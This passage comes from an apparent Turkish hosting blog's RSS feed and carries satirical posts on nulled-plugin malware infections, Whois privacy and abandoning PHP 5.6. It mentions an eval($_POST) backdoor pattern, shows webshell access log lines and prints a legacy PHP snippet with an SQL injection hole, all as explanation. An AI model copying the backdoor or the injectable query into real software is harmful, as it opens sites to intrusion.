<li><strong>SEO Zehirlemesi (Spam Injection):</strong> Arama motoru botları (Googlebot, Bingbot) siteyi ziyaret ettiğinde HTTP <code>User-Agent</code> kontrolü yapılarak gizli kumar, takviye gıda veya replika çanta linkleri gösterilirken, normal kullanıcılara normal site gösterilir (Cloaking).</li>
<li><strong>Phishing &#x26; Mail Relay:</strong> Sunucu üzerinden saatte binlerce sahte banka veya e-devlet bildirimi gönderilir. Sunucunun IP adresi Spamhaus, Barracuda ve UCEPROTECT listelerine girer.</li>
<li><strong>Veritabanı Sızıntısı:</strong> Müşteri siparişleri, kredi kartı ödeme bildirimleri (eğer saklanıyorsa) ve kullanıcı şifre karmaları dışarı aktarılır.</li>
</ol>
<p>Ve tam bu aşamada hosting firmasının otomatik güvenlik tarayıcısı (Maldet, cPP, Imunify360) devreye girer.</p>
<hr>
<h3>Triyaj Protokolü: Karantina Neden Zorunludur?</h3>
<p>Bir paylaşımlı sunucuda barınan bir sitenin spam yaymaya veya phishing sayfası sunmaya başladığı tespit edildiğinde, sistem mühendisinin önündeki tablo 112 Acil Tıp'taki aktif sepsis ve bulaşıcı salgın senaryosudur.</p>
<p>Eğer hastanenin genel cerrahi koğuşundaki bir hastada çoklu ilaca dirençli ölümcül bir enfeksiyon (örneğin MRSA veya VRE) tespit edilirse, hekim hastayı koğuşta bırakıp diğer hastalarla sohbet etmesine izin vermez. Hasta derhal izolasyon odasına alınır, temas izolasyonu başlatılır ve ziyaretçi girişi kapatılır.</p>
<pre><code class="language-bash"># Sistem Mühendisinin Gece Yarısı Gördüğü Tablo
# /var/log/nginx/access.log &#x26; exim mailq analizi

[root@node-44 ~]# exim -bpc
18492  &#x3C;-- Sırada bekleyen 18 bin spam mail!

[root@node-44 ~]# grep "POST /wp-content/uploads" /var/log/httpd/domains/ornekfirma.com.log | head -n 5
185.220.101.4 - - [02/Apr/2026:03:14:22 +0300] "POST /wp-content/uploads/2026/03/license.php HTTP/1.1" 200 4821
185.220.101.4 - - [02/Apr/2026:03:14:25 +0300] "POST /wp-content/uploads/2026/03/license.php?act=cmd HTTP/1.1" 200 1204
</code></pre>
<p>Bu aşamada sistem yöneticisi ne yapar?</p>
<ol>
<li>Hesabın web erişimini <code>403 Forbidden</code> veya askıya alma (suspension) sayfasına çeker.</li>
<li>Giden posta fonksiyonunu (<code>sendmail / mail()</code>) kilitler.</li>
<li>Müşteriye ayrıntılı bir bildirim bileti açar:<br>
<em>"Hesabınızda tespit edilen zararlı yazılımlar ve aşırı spam çıkışı nedeniyle hizmetiniz diğer müşterilerimizin IP itibarını ve sunucu sağlığını korumak adına geçici olarak askıya alınmıştır. Enfekte dosyaların listesi ektedir. Lütfen sitenizi temizleyiniz veya temiz bir yedekten geri dönünüz."</em></li>
</ol>
<p>Ve işte o an, müşteri destek biletinde infilak eder:<br>
<em>"Siz benim ekmeğimle oynuyorsunuz! Benim sitem ticaret sitesi, müşterilerim giremiyor! Benim siteme nasıl virüs sokarsınız? Sizin antivirüsünüz yok mu? Ben yazılımcı mıyım, dosyayı ben nasıl temizleyeyim? Derhal temizleyip açın, yoksa avukatıma veriyorum!"</em></p>
<hr>
<h3>"Antivirüsünüz Neden Engellemedi?" Yanılgısı</h3>
<p>Müşterinin en sık başvurduğu savunma mekanizması şudur: "Ben sunucunuza dosya yüklerken antivirüsünüz neden engellemedi? Demek ki sizin güvenliğiniz sıfır!"</p>
<p>Bu argüman, tıp fakültesinin birinci sınıf öğrencisinin bile çürütebileceği bir biyolojik cehalettir.<br>
Bir insan kendi isteğiyle ağzından siyanür içerse, hastanenin havalandırma filtresini veya bina girişindeki dezenfektan paspasını suçlayabilir mi?</p>
<ol>
<li><strong>İzinli Yükleme (Legitimate Upload):</strong> Nulled eklentiyi sunucuya dışarıdan bir hacker yüklemedi; bizzat sunucu sahibi, geçerli cPanel/FTP kimlik bilgileriyle <code>POST</code> veya <code>PUT</code> isteği yaparak yükledi. Güvenlik duvarı (WAF) için bu işlem, yetkili kullanıcının meşru bir dosya transferidir.</li>
<li><strong>Polimorfik ve Dinamik Yükler:</strong> Gelişmiş webshell'ler yükleme esnasında statik bir imza içermez. Dosya yalnızca 3 satırlık zararsız bir <code>curl</code> fonksiyonudur; zararlı yükü (payload) site çalıştıktan sonra bellek içine dinamik çeker. Bellekte çalışan bir PHP betiğini statik dosya tarayıcısıyla yakalamak, hasta belirti göstermeden kandaki virüsün DNA dizilimini tahmin etmeye benzer.</li>
<li><strong>Uygulama Katmanı Güvenliği:</strong> Bir PHP dosyasının içinde <code>eval($_POST['x'])</code> yazıyorsa, bu kod PHP yorumlayıcısı için meşru bir koddur. Sunucu, kullanıcının yazdığı kodun bir hata ayıklama aracı mı yoksa Rus hacker'a açılmış bir arka kapı mı olduğunu bilmekle yükümlü değildir; olamaz.</li>
</ol>
<hr>
<h3>Neden Hosting Firması Sitenizi "Temizleyemez"?</h3>
<p>Müşterinin ikinci büyük beklentisi: <em>"Siz sunucu uzmanısınız, 5 dakikada temizleyiverin işte."</em></p>
<p>Bir hosting firmasının müşterinin WordPress çekirdeğine, temasının veritabanına ve fonksiyon dosyalarına girip manuel temizlik yapması üç nedenden dolayı kesinlikle imkansız ve yasaktır:</p>
<ol>
<li><strong>Hukuki ve Veri Bütünlüğü Riski (Liability):</strong><br>
Bir WordPress sitesine bulaşan gelişmiş bir kötü amaçlı yazılım, veritabanındaki <code>wp_posts</code> tablosundaki binlerce ürün açıklamasına <code>iframe</code> enjekte etmiş olabilir. Destek uzmanı bir regex scripti çalıştırıp temizlik yaparken müşterinin 5 yıllık blog yazılarını veya ürün varyasyonlarını bozarsa, müşteri anında "Hosting firması veritabanımı sildi, zararımı tazmin edin" davası açacaktır. Hiçbir kurumsal hosting şirketi 45 TL'lik bir fatura için bu hukuki sorumluluğun altına girmez.</li>
<li><strong>Re-Enfeksiyon (Yeniden Bulaşma) Kaçınılmazlığı:</strong><br>
Temizlik, enfeksiyonun kaynağı kurutulmadıkça anlamsızdır. Sitedeki 100 adet zararlı PHP dosyasını silseniz bile, müşteri hala o warez temayı kullanmaya devam ediyorsa, tema ilk <code>cron</code> tetiklenmesinde aynı dosyaları C2 sunucusundan tekrar indirecektir. Bu, kangren olmuş bir bacağı kesmeyip sadece üzerine yara bandı yapıştırmaya benzer.</li>
<li><strong>Ekonomik ve Operasyonel Gerçeklik:</strong><br>
Bir paylaşımlı sunucuda 800 adet web sitesi barınır. Eğer hosting firması her nulled tema kuran müşterinin sitesini manuel dezenfekte etmeye kalkarsa, her site için en az 4 saatlik kıdemli güvenlik uzmanı mesaisi gerekir. 4 saatlik uzman mesaisinin piyasa bedeli en az 150-200 dolardır. 2 dolarlık hosting paketi satan bir firmanın bu hizmeti vermesini beklemek, belediye otobüsü bileti alıp şoförden kendisini limuzinle evinin salonuna kadar taşımasını istemektir.</li>
</ol>
<hr>
<h3>İyileşme Reçetesi: Enfekte Bir WordPress Nasıl Hayata Döndürülür?</h3>
<p>Korsan yazılım batağına saplanmış ve sitesi karantinaya alınmış bir web sitesi sahibinin takip etmesi gereken gerçekçi klinik protokol şudur:</p>
<ol>
<li><strong>İnkar Aşamasını Terk Edin:</strong><br>
Hosting firmasıyla bilet üzerinden kavga etmeyi bırakın. Suçlu sunucu altyapısı değil, bedava tema kullanma hırsınızdır.</li>
<li><strong>Karantina Altında Yedek Alma:</strong><br>
Mevcut enfekte haliyle sitenin dosya ve veritabanı yedeğini bilgisayarınıza indirin (adli analiz ve kaybolabilecek metinler için).</li>
<li><strong>Tam Debridman (Radikal Temizlik):</strong>
<ul>
<li>Sunucudaki <code>wp-content/themes</code> ve <code>wp-content/plugins</code> dizinlerindeki şüpheli tüm eklenti ve temaları tamamen silin.</li>
<li><code>wp-admin</code> ve <code>wp-includes</code> klasörlerini doğrudan resmi <code>wordpress.org</code> kaynaklarından indirilen orijinal dosyalarla değiştirin.</li>
<li>Kök dizindeki <code>index.php</code>, <code>wp-config.php</code>, <code>.htaccess</code> dosyalarını satır satır inceleyin; <code>base64</code>, <code>eval</code>, <code>gzinflate</code> içeren yabancı blokları temizleyin.</li>
<li><code>wp-config.php</code> içindeki tüm güvenlik tuzlarını (Salt keys) <code>api.wordpress.org/secret-key/1.1/salt/</code> adresinden yenileyin (böylece mevcut oturum açmış tüm hacker oturumları düşer).</li>
</ul>
</li>
<li><strong>Lisanslı Yazılıma Geçiş:</strong><br>
Temayı resmi geliştiricisinden satın alın. 59 dolar ödemekten kaçındığınız temanın temizlik maliyeti, itibar kaybı ve Google kara liste cezası size en az 500 dolara ve haftalarca süren ciro kaybına mal olmuştur.</li>
<li><strong>Veritabanı Sanitizasyonu:</strong><br>
<code>wp_users</code> tablosunu kontrol edin, bilginiz dışında açılmış <code>administrator</code> yetkisine sahip yabancı kullanıcıları silin. <code>wp_options</code> tablosunda <code>active_plugins</code> ve <code>siteurl</code> değerlerini teyit edin.</li>
<li><strong>Güvenlik İncelemesi ve Talep:</strong><br>
Temizlik tamamlandıktan sonra hosting desteğine bilet açarak taramanın tekrarlanmasını ve sitenin yayına alınmasını rica edin.</li>
</ol>
<hr>
<h3>Sonuç: Dijital Hijyen Bir Tercih Değil, Hayatta Kalma Refleksidir</h3>
<p>Hastanelerin ameliyathaneleri neden pozitif basınçlı hepa filtrelerle korunur ve içeri giren her cerrah dakikalarca ellerini fırçalar? Çünkü steril alana giren tek bir mikrop, saatler süren başarılı bir kalp ameliyatını sepsisle ve hastanın ölümüyle sonuçlandırabilir.</p>
<p>Web barındırma dünyası da farksızdır. Bir paylaşımlı sunucu ekosisteminde barınırken internetten kaynağı belirsiz, kimin kodladığı bilinmeyen "kırılmış" yazılımları sunucunuza yüklemek; ameliyathaneye sokak çamuruyla girmekten farksızdır.</p>
<p>Hosting sağlayıcısı sizin dijital dadınız, kişisel antivirüs teknisyeniniz veya bedava güvenlik danışmanınız değildir. Size stabil bir çalışma ortamı, hızlı bir ağ omurgası ve izole bir alan tahsis eder. O alanın içinde ne çalıştırdığınız, hangi kodla nefes alıp verdiğiniz tamamen sizin sorumluluğunuzdadır.</p>
<p>Korsan tema kullanıp faturayı altyapı sağlayıcısına kesmeye çalışmak; kendi yaktığı ateşin dumanında boğulurken itfaiyeye "Neden odamın havasını parfümle temizlemiyorsunuz?" diye bağıran bir çaresizlikten ibarettir. Dijital dünyada ucuz etin yahnisi olmaz; bedava dağıtılan temanın bedeli ise daima sunucunuzun şeref ve itibar defterinden tahsil edilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Hosting</category>
            <category>WordPress</category>
            <category>Cybersecurity</category>
            <category>Web Dev</category>
            <category>Linux</category>
            <category>DevOps</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/siteme-virus-bulasti-temizleyin-nulled-eklenti-enfeksiyonu-ve-hosting-firmasini-antivirus-sanma-sanrisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Whois Gizleme" (Whois Privacy) Unutkanlığı ve Gece Yarısı Gelen Sapık Telefonları]]></title>
            <link>http://localhost:3000/blog/post/whois-gizleme-whois-privacy-unutkanligi-ve-gece-yarisi-gelen-sapik-telefonlari</link>
            <guid>whois-gizleme-whois-privacy-unutkanligi-ve-gece-yarisi-gelen-sapik-telefonlari</guid>
            <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Alan adı tescil ederken 1 dolarlık Whois gizleme (ID Protection) seçeneğini "buna ne gerek var" diyerek es geçen kullanıcının, kişisel cep telefonu ve ev adresinin küresel veri madenciliği botları tarafından çekilip dolandırıcıların eline düşmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/whois-gizleme-whois-privacy-unutkanligi-ve-gece-yarisi-gelen-sapik-telefonlari/thumbnail" alt=""> Tıp etiğinde ve hasta haklarında en kutsal kavramlardan biri "tıbbi gizlilik" (mahremiyet) ilkesidir. Bir hastanın psikiyatrik tanısı, cinsel yolla bulaşan hastalık tahlilleri veya kronik rahatsızlıkları asla üçüncü şahıslara açıklanamaz. Şimdi gözünüzün önüne şöyle bir hasta getirin: Hastaneden çıkarken epikriz raporunu, kan tahlili sonuçlarını, T.C. kimlik numarasını, ev adresini ve şahsi cep telefonunu içeren hasta dosyasının fotokopilerini çektirip hastane bahçesindeki panolara, otobüs duraklarına ve elektrik direklerine yapıştırıyor. Üç gün sonra gece yarısı telefonları susmayınca, tefecilerden, sahte ilaç satıcılarından ve dolandırıcılardan yüzlerce arama gelince soluğu hastane başhekimliğinde alıp <em>"Siz benim mahremiyetimi ihlal ettiniz, numaramı herkese dağıttınız!"</em> diye ortalığı birbirine katıyor.</p>
<p>Kulağa bir akıl tutulması gibi geliyor, değil mi? Oysa alan adı (domain) dünyasında her gün binlerce internet kullanıcısı ve işletme sahibi, tam olarak bu trajikomik sahneyi birebir sahneliyor.</p>
<h3>1 Dolardan Tasarruf Etmenin Dayanılmaz Hafifliği</h3>
<p>Olay, yeni bir iş fikri veya kişisel blog için alan adı satın alma sürecinde başlar. Kullanıcı alan adı tescil firmasının sepet sayfasına gelir. Alan adı ücreti örneğin 10 dolardır. Sepetin hemen altında küçük bir onay kutusu ve uyarı belirir:</p>
<blockquote>
<p><strong>[ ] Whois Kimlik Koruması (Whois Privacy / ID Protection) - Yıllık 1.00$</strong><br>
<em>"Kişisel bilgilerinizi, telefon numaranızı ve e-posta adresinizi internet ortamındaki botlardan ve spam göndericilerden gizleyin."</em></p>
</blockquote>
<p>Kullanıcı durur, düşünür. Kendi kendine o meşhur rasyonelleştirmeyi yapar: <em>"Aman canım, 1 dolar niye fazla vereyim? Alt tarafı bir domain. Sanki CIA beni arayacak. Korumasız olsun, param cebimde kalsın."</em></p>
<p>Kullanıcı formu doldurur: Adı soyadı, ev adresi, şahsi cep telefonu, kişisel e-posta adresi. Kredi kartı çekilir ve alan adı başarıyla tescil edilir.</p>
<h3>ICANN Protokolü ve Küresel Bot Madenciliği</h3>
<p>Kullanıcının unuttuğu veya bilmediği şey, internetin kurucu kuruluşu olan ICANN'in (Internet Corporation for Assigned Names and Numbers) 1980'lerden kalma şeffaflık kuralıdır. Bir alan adı tescil edildiğinde, o alan adının sahibinin yasal iletişim bilgileri küresel <strong>Whois veritabanına</strong> (<code>port 43</code>) kamuya tamamen açık (public) olarak yazılır.</p>
<p>Ve bu veritabanı, dünyanın her köşesindeki veri madenciliği botları, spammer ağları, tele-pazarlamacılar ve siber dolandırıcılar tarafından saniyesi saniyesine taranmaktadır. Her yeni kaydedilen alan adı (<code>newly registered domains</code>), anında botların radarına girer.</p>
<p>Dakika 1: Alan adı tescil edildi.<br>
Dakika 3: Whois kaydı ICANN kök sunucularına yansıdı.<br>
Dakika 7: Hindistan, Rusya, Nijerya ve Türkiye merkezli yüzlerce veri çekme botu (web scraper) kullanıcının telefonunu, adını ve e-postasını veri tabanlarına kaydetti.</p>
<h3>Gece 03:00: Telefonlar Çalmaya Başlıyor</h3>
<p>Tescilden sadece 12 saat sonra kullanıcının cep telefonuna ilk mesajlar düşmeye başlar:</p>
<ul>
<li><em>"Sayın Ahmet Yılmaz, yeni tescil ettiğiniz sirketadi.com alan adınız için SEO ve web tasarım hizmetinde %50 indirim!"</em> (SMS)</li>
<li><em>"Your domain will be terminated within 24 hours unless you pay $89.00 renewal fee!"</em> (Phishing e-postası)</li>
<li>Gece saat 03:30'da çalan bir arama: <em>"Hello sir, we are calling regarding your newly registered website, do you need dedicated developers?"</em></li>
</ul>
<p>Yetmez; ertesi gün telefon numarası yerel spam panellerine düşer. Bahis sitelerinden gelen SMS'ler, eskort sitelerinin sahte bot aramaları, "Hakkınızda icra takibi başlatıldı" diyen dolandırıcı linkleri peş peşe yağar. Kullanıcının kişisel cep telefonu, adeta internetin umumi tuvalet duvarına yazılmış bir ilana dönüşmüştür.</p>
<h3>"Numaramı Kim Sattı?" Paranyası</h3>
<p>Kullanıcı bu taciz fırtınası karşısında şoka girer. İlk refleksi ne olur dersiniz? Tabii ki alan adını satın aldığı yerli hosting/domain firmasını arayıp hesap sormak:</p>
<blockquote>
<p><em>"Siz benim kişisel verilerimi sattınız! KVKK'ya göre suç işliyorsunuz! Dün sizden domain aldım, sabahtan beri beni Hintliler, dolandırıcılar arıyor! Numaramı nereden buldular? Sizi savcılığa vereceğim, KVKK Kurumu'na şikayet edeceğim!"</em></p>
</blockquote>
<p>Destek mühendisi sabırla açıklama yapar: <em>"Ahmet Bey, biz hiçbir bilginizi üçüncü şahıslara satmadık. Alan adınızı satın alırken Whois Gizleme (Privacy Protection) seçeneğini işaretlemediniz. Alan adı sahiplik bilgileri küresel ICANN kuralları gereği internette herkese açıktır. Terminalden <code>whois sirketadi.com</code> yazdığınızda çıkan ekrana bakın; adınız, cep telefonunuz ve adresiniz açıkça listeleniyor."</em></p>
<p>Müşteri donakalır: <em>"E siz niye gizlemediniz? Bana zorla gizletseydiniz! 1 dolarlık şey için numaram internete mi saçılır?"</em></p>
<h3>GDPR, TRABİS ve Modern Gizlilik Evrimi</h3>
<p>Neyse ki dünya bu ilkel çıplaklıktan yavaş yavaş ders çıkarmaktadır. Avrupa Birliği'nin GDPR (Genel Veri Koruma Tüzüğü) düzenlemesi sonrası birçok küresel kayıt kuruluşu (Registrar), bireysel kullanıcıların Whois verilerini varsayılan olarak maskelemeye başlamıştır.</p>
<p>Türkiye'de de BTK bünyesinde hayata geçen TRABİS (.tr Ağ Bilgi Sistemi) altyapısında, bireysel <code>.com.tr</code> tescillerinde vatandaşların T.C. kimlik ve telefon bilgileri Whois sorgularında otomatik olarak gizlenmekte, sadece isim ve şehir gibi kısıtlı veriler gösterilmektedir.</p>
<p>Fakat jenerik üst düzey alan adlarında (.com, .net, .org, .io, .xyz gibi), kayıt firmasının politikasına bağlı olarak Whois koruması hâlâ ayrı bir modül olarak yönetilmektedir.</p>
<h3>Dijital Mahremiyetin Altın Kuralları</h3>
<p>Kişisel hayatınızı, telefonunuzu ve ailenizin huzurunu global botların elinde oyuncak etmemek için alan adı tescilinde şu kurallar asla es geçilmemelidir:</p>
<ol>
<li><strong>Whois Gizlemeyi Asla Kapatmayın:</strong> Tescil esnasında Whois Privacy / ID Protection kutusunu mutlaka işaretleyin. Çoğu modern firma bunu artık ücretsiz sunmaktadır; ücretli olsa bile o 1-2 dolarlık bedel, huzurunuzun sigortasıdır.</li>
<li><strong>Özel Kurumsal İletişim Bilgileri Kullanın:</strong> Alan adı tescilinde asla şahsi kullandığınız birincil cep telefonunuzu ve özel Gmail adresinizi vermeyin. Bu tür kayıtlar için şirketin santral numarasını veya ikincil bir iletişim hattını kullanın.</li>
<li><strong>Eski Alan Adlarını Kontrol Edin:</strong> Portföyünüzde yıllar önce tescil ettiğiniz ve unuttuğunuz alan adları varsa, kontrol paneline girip Whois durumlarını kontrol edin; açıkta kalan kayıtları derhal gizleyin.</li>
<li><strong>Phishing Mesajlarına Dikkat Edin:</strong> Whois taramasıyla gelen "Domain süreniz bitti, hemen bu linkten yenileyin" maillerine asla kredi kartı bilgisi girmeyin; alan adı yenilemelerini sadece kendi tescil firmanızın paneline giriş yaparak gerçekleştirin.</li>
</ol>
<p>1 dolardan tasarruf edeceğim diye kişisel kimlik bilgilerini dijital pazarın ortasına saçmak, hırsıza evin anahtarını verip kapının açık kalmasından şikayet etmeye benzer. İnternet merhametli bir yer değildir; gizlemediğiniz her veri, eninde sonunda size uykusuz bir gece yarısı telefonu olarak geri döner.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Domain</category>
            <category>Whois</category>
            <category>Gizlilik</category>
            <category>Siber Güvenlik</category>
            <category>KVKK</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/whois-gizleme-whois-privacy-unutkanligi-ve-gece-yarisi-gelen-sapik-telefonlari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["PHP 5.6 Aşıkları" ve Sürücü Güncellememek İçin Yemin Etmiş Müşteriler]]></title>
            <link>http://localhost:3000/blog/post/php-56-asiklari-ve-surucu-guncellememek-icin-yemin-etmis-musteriler</link>
            <guid>php-56-asiklari-ve-surucu-guncellememek-icin-yemin-etmis-musteriler</guid>
            <pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[2012 yılında yazılmış spagetti kodlu e-ticaret yazılımı bozulur korkusuyla PHP 8.x sürümlerine geçmeyi reddeden, güvenlik açığı deposu haline gelmiş PHP 5.6 kaldırılınca "Ticaretime balta vurdunuz" diye feryat eden arkaik kod muhafazakârlığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/php-56-asiklari-ve-surucu-guncellememek-icin-yemin-etmis-musteriler/thumbnail" alt=""> 19. yüzyılın ortalarında modern tıbbın dönüm noktalarından biri yaşandı. İngiliz cerrah Joseph Lister, mikropların varlığını ve yaralardaki cerahatin havadan ve kirli aletlerden bulaştığını kanıtlayarak antiseptik cerrahiyi başlattı. Aletlerin fenol çözeltisiyle yıkanmasını, ellerin cerrahi öncesi sterilize edilmesini ve temiz önlükler giyilmesini önerdi.</p>
<p>Peki dönemin kıdemli cerrahları ne yaptı? Lister'ı alkışladılar mı? Hayır, tam tersine onunla alay ettiler! Ameliyata kan ve irin lekeleriyle kurumuş cerrahi önlüklerle girmeyi bir "tecrübe ve hekimlik şerefi" sayıyorlardı. "Biz kırk yıldır bu ellerle ameliyat yapıyoruz, ne mikrobuymuş! Bu yeni moda sterilizasyon hastanın mizacını bozar" dediler. Hastalar lohusa hummasından, sepsisten ve kangrenden kırılırken, o muhafazakâr hekimler çağ dışı alışkanlıklarına sarılmaya devam etti.</p>
<p>Yazılım ve web altyapısı dünyasında da 2026 yılına gelmiş olmamıza rağmen hâlâ sunucularda <strong>PHP 5.6</strong> cesedine sarılıp gözyaşı döken devasa bir kitle vardır. Onlar, bilişim dünyasının "yıkanmamış cerrahi önlük" savunucularıdır.</p>
<h3>Bir Aşk Masalı: 2012 Model Spagetti Script</h3>
<p>Senaryo neredeyse her hosting firmasında ezberlenmiştir. Müşteri, 2012 yılında üniversite öğrencisi bir akrabasına veya Kadıköy'deki bir pasajda "web tasarımcısı" olduğunu iddia eden bir şahsa 300 liraya e-ticaret veya kurumsal tanıtım sitesi yaptırmıştır.</p>
<p>Yazılımın kaynak koduna girdiğinizde bir mühendislik faciası değil, tam bir arkeolojik kazı alanı görürsünüz:</p>
<pre><code class="language-php">&#x3C;?php
// baglanti.php - 2012
$conn = mysql_connect("localhost", "root", "123456");
mysql_select_db("eticaret_db", $conn);
mysql_query("SET NAMES 'latin5'");

$id = $_GET['id'];
$sorgu = mysql_query("SELECT * FROM urunler WHERE id = " . $id);
$urun = mysql_fetch_array($sorgu);
?>
</code></pre>
<p><code>mysql_*</code> fonksiyonları (2013'te PHP 5.5 ile kınandı/deprecated oldu, 2015'te PHP 7.0 ile tamamen dilden sökülüp atıldı). SQL Injection açıklarına davetiye çıkaran ham string birleştirmeleri, register globals kalıntıları, <code>magic_quotes_gpc</code> bağımlılıkları...</p>
<p>Fakat bu ucube yazılım, PHP 5.6'nın o geniş ve affedici toleransı altında yıllarca çalışmış, müşteriye para kazandırmıştır. Ve müşteri için "çalışan şeye dokunulmaz" kuralı, evrenin en yüce fizik kanunudur.</p>
<h3>EOL (End of Life) ve Siber Güvenlik Karadeliği</h3>
<p>PHP 5.6'nın resmi desteği (güvenlik yamaları dahil) <strong>31 Aralık 2018</strong> tarihinde, yani neredeyse on yıl önce tamamen sona erdi. Bu tarihten sonra PHP 5.6 için tek bir güvenlik yaması bile çıkmadı. İnternet korsanları için PHP 5.6 çalıştıran bir sunucu, anahtarı üzerinde bırakılmış, kapısı ardına kadar açık bir zırhlı araç gibidir.</p>
<p>Veri merkezindeki sistem yöneticileri, sunucu güvenliğini ve PCI-DSS standartlarını korumak için kaçınılmaz adımı atar:</p>
<ul>
<li>Eski cPanel/CloudLinux sunucularından PHP 5.6 derlemesi kaldırılır.</li>
<li>Sunucu varsayılanı modern, güvenli ve 4 kat daha hızlı olan <strong>PHP 8.2 veya 8.3</strong>'e çekilir.</li>
</ul>
<p>Ve ertesi sabah saat 09:00'da kıyamet kopar.</p>
<h3>"Fatal Error: Uncaught Error: Call to undefined function mysql_connect()"</h3>
<p>Müşteri sabah sitesine girmek istediğinde beyaz bir sayfa ve üzerinde tek bir satır hata görür:</p>
<pre><code class="language-text">Fatal error: Uncaught Error: Call to undefined function mysql_connect() 
in /home/firma/public_html/baglanti.php:3
</code></pre>
<p>Müşterinin feryadı anında destek biletine yansır:</p>
<blockquote>
<p><em>"Siz benim ticaretime kasıtlı olarak balta vuruyorsunuz! Sitem on yıldır tıkır tıkır çalışıyordu. Gece ne halt yediniz de sitemi bozdunuz? 'Fatal error' diye bir şey çıkıyor! Derhal eski sürüme geri alın sunucuyu, avukatıma talimat verdim, kaybettiğim her dakikanın cirosunu sizden tazminatla alacağım!"</em></p>
</blockquote>
<p>Destek mühendisi açıklamaya çalışır: <em>"Ahmet Bey, PHP 5.6 sürümü 2018 yılında öldü. Sitenizin kullandığı kodlar 15 yıllık. Güvenlik açıkları nedeniyle sunucuda bu sürümü barındıramayız. Yazılımcınızla görüşüp sitenizi PDO veya MySQLi standartlarına, PHP 8.x uyumluluğuna güncellemeniz gerekiyor."</em></p>
<p>Müşterinin cevabı klasiktir:</p>
<blockquote>
<p><em>"Yazılımcı kim bilir nerede, askere gitti evlendi çocuk sahibi oldu! Ben yazılımcı tanımam. Ben size hosting parası ödüyorum. Benim kodum bozuk değil, siz bozdunuz! Dünyanın hiçbir yerinde böyle saçmalık yok, açın benim 5.6'mı!"</em></p>
</blockquote>
<h3>Hardened PHP ve İllüzyonun Bedeli</h3>
<p>Hosting sektörü bu inatçı kitleyi yönetebilmek için ara çözümler icat etmek zorunda kalmıştır. CloudLinux'un geliştirdiği <strong>Hardened PHP</strong> teknolojisi, PHP 5.6 gibi fosilleşmiş sürümleri Linux çekirdeğinde özel yamalarla izole ederek çalıştırmaya devam eder. Ancak bu hizmet ek lisans maliyetleri gerektirir.</p>
<p>Hosting firması müşteriye <em>"Pekala, sitenizi özel bir izole kapsüle alıp PHP 5.6'da çalıştırabiliriz ancak bu eski sürümün güvenlik bakım maliyeti aylık 15 dolardır"</em> dediğinde, müşteri bu kez "Soyguncu bunlar!" diye bağırmaya başlar. Yıllık 100 liralık pakete 15 dolar sürüm desteği vermek istemez ama o kodu modern bir yazılımcıya 5.000 liraya refactor ettirmeye de yanaşmaz.</p>
<h3>Muhafazakârlığın Mühendislik Maliyeti</h3>
<p>Teknolojide nostalji ve sadakat olmaz. Yazılım yaşayan, nefes alan bir organizmadır. Eğer bir yazılımı on yıl boyunca hiç güncellemeden, tek bir satır refactoring yapmadan yayında tutabileceğinizi sanıyorsanız, siz mühendislik değil hayalperestlik yapıyorsunuzdur.</p>
<p>PHP 5.6 ısrarının sisteme ödettiği bedeller şunlardır:</p>
<ol>
<li><strong>Performans Kaybı:</strong> PHP 8.x, JIT (Just-In-Time) derleyicisi ve opcache optimizasyonları sayesinde PHP 5.6'ya kıyasla aynı donanımda 3 ila 4 kat daha fazla istek (RPS) karşılar ve yarı yarıya daha az bellek tüketir. 5.6'da kalmak, sunucu elektriğini ve işlemciyi havaya savurmaktır.</li>
<li><strong>Kriptografik Çöküş:</strong> PHP 5.6'daki OpenSSL kütüphaneleri modern TLS 1.3 protokolünü, modern şifreleme algoritmalarını (AES-GCM, ChaCha20) desteklemez. Banka sanal POS'ları ve modern API'ler bu sunucularla el sıkışmayı reddeder.</li>
<li><strong>Ransomware ve Botnet Riski:</strong> Eski PHP sürümlerindeki bilinen bellek taşması (buffer overflow) ve uzaktan kod çalıştırma (RCE) açıkları, sitenin anında bir kripto madenci veya spam zombisine dönüşmesine neden olur.</li>
</ol>
<p>Ameliyata kirli elleriyle girmekte direnen 19. yüzyıl cerrahları tıp tarihinin tozlu sayfalarında birer ibret vesikası olarak kaldı. PHP 5.6'ya tapınan, <code>mysql_connect()</code> kaldırıldı diye dünyayı ayağa kaldıran zihniyet de eninde sonunda aynı kaderi paylaşacaktır. Kodunuzu ya zamanında sterilize edip güncellersiniz, ya da o kangren olmuş yazılımınızla birlikte dijital mezarlığa gömülürsünüz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PHP</category>
            <category>Legacy Code</category>
            <category>Güvenlik</category>
            <category>Hosting</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/php-56-asiklari-ve-surucu-guncellememek-icin-yemin-etmis-musteriler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Veritabanım Silindi" Diye Ağlayıp Aslında MySQL Tablosunu Crash Eden Müşteri]]></title>
            <link>http://localhost:3000/blog/post/veritabanim-silindi-diye-aglayip-aslinda-mysql-tablosunu-crash-eden-musteri</link>
            <guid>veritabanim-silindi-diye-aglayip-aslinda-mysql-tablosunu-crash-eden-musteri</guid>
            <pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Aşırı I/O yükü veya ani sunucu yeniden başlatması yüzünden wp_options tablosu "crashed" durumuna düşen kullanıcının, tüm kurumsal geçmişinin silindiğini sanıp döktüğü ecel terleri ve tek bir SQL onarım komutunun mucizesi.]]></description>
